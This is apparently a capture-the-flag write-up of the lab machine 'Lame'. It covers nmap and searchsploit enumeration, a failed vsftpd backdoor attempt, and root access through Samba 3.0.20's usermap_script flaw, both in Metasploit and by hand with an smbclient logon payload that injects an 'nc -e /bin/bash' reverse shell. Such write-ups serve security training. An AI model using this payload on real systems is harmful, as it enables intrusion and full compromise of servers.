Metadata
IP: 10.129.77.236
Difficulty: Easy
Summary
This machine has vulnerable samba version which can be exploited to directly get the root access on the machine. In this post we exploited this vulnerability manually and with the use of metasploit as well.
Enumeration
Nmap
We start off by running an nmap
scan:
└─$ sudo nmap -sC -sV -oA nmap/initial 10.129.77.236
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 17:50 EDT
Nmap scan report for 10.129.77.236
Host is up (0.11s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.55
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2022-06-22T17:51:29-04:00
|_clock-skew: mean: 2h00m15s, deviation: 2h49m43s, median: 14s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.17 seconds
Port 21
From the nmap results we found ftp version. We started running serchsploit to look for any known vulnerabilities against the version.
└─$ searchsploit vsftpd 2.3.4
--------------------------------------------------------- ----------------------
Exploit Title | Path
--------------------------------------------------------- ----------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
--------------------------------------------------------- ----------------------
Shellcodes: No Results
Port 445
From the nmap scan we saw that "Samba 3.0.20-Debian" is running on the machine. We ran searchsploit against it to look for any known vulnerabilities against it.
└─$ searchsploit Samba 3.0.20-Debian
---------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
---------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Resultsn
Exploitation
vsftpd 2.3.4
I tried executing the exploits we found from searchsploit but it failed.
msf6 > search vsftpd 2.3.4 - Backdoor Command Execution
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.129.77.236
RHOSTS => 10.129.77.236
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.129.77.236:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.129.77.236:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Samba 3.0.20-Debian
We found exploit for vulnerable version on metasploit. We set necessary options and run the exploit. It opened up root shell on vulnerable machine.
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.129.77.236
rhosts => 10.129.77.236
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.55
lhost => 10.10.14.55
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.55:4444
[*] Command shell session 1 opened (10.10.14.55:4444 -> 10.129.77.236:46945 ) at 2022-06-22 19:27:38 -0400
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
id
id
uid=0(root) gid=0(root)
root@lame:/#
Manual Exploitation (Without Metasploit)
We started looking for available services on the server using smbclient.
└─$ smbclient -L 10.129.77.236
Enter WORKGROUP\kali's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
We have access to the tmp directory through anonymous login. After accessing tmp directory we use help command to see what we can do from the shell.
└─$ smbclient //10.129.77.236/tmp
Enter WORKGROUP\kali's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
more mput newer notify open
posix posix_encrypt posix_open posix_mkdir posix_rmdir
posix_unlink posix_whoami print prompt put
pwd q queue quit readlink
rd recurse reget rename reput
rm rmdir showacls setea setmode
scopy stat symlink tar tarmode
timeout translate unlock volume vuid
wdel logon listconnect showconnect tcon
tdis tid utimes logoff ..
!
smb: \>
We can use logon to get reverse connection to our local machine. To do that we will set up listener on our local machine using below command:
└─$ nc -lnvp 4455
listening on [any] 4455 ...
We used this command to get a reverse shell through smb:
logon "./=`nohup nc -e /bin/bash <IP> <port>`"
smb: \> logon "./=`nohup nc -e /bin/bash 10.10.14.55 4455`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>
We got a reverse connection to our netcat listener.
└─$ nc -lnvp 4455
listening on [any] 4455 ...
connect to [10.10.14.55] from (UNKNOWN) [10.129.77.236] 54530
id
uid=0(root) gid=0(root)
Proof
Use following command for this section:
root@lame:/root# hostname && whoami && cat root.txt && ip a
hostname && whoami && cat root.txt && ip a
lame
root
646[...]
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:50:56:96:bc:a9 brd ff:ff:ff:ff:ff:ff
inet 10.129.77.236/16 brd 10.129.255.255 scope global eth0
inet6 dead:beef::250:56ff:fe96:bca9/64 scope global dynamic
valid_lft 86398sec preferred_lft 14398sec
inet6 fe80::250:56ff:fe96:bca9/64 scope link
valid_lft forever preferred_lft forever
root@lame:/root#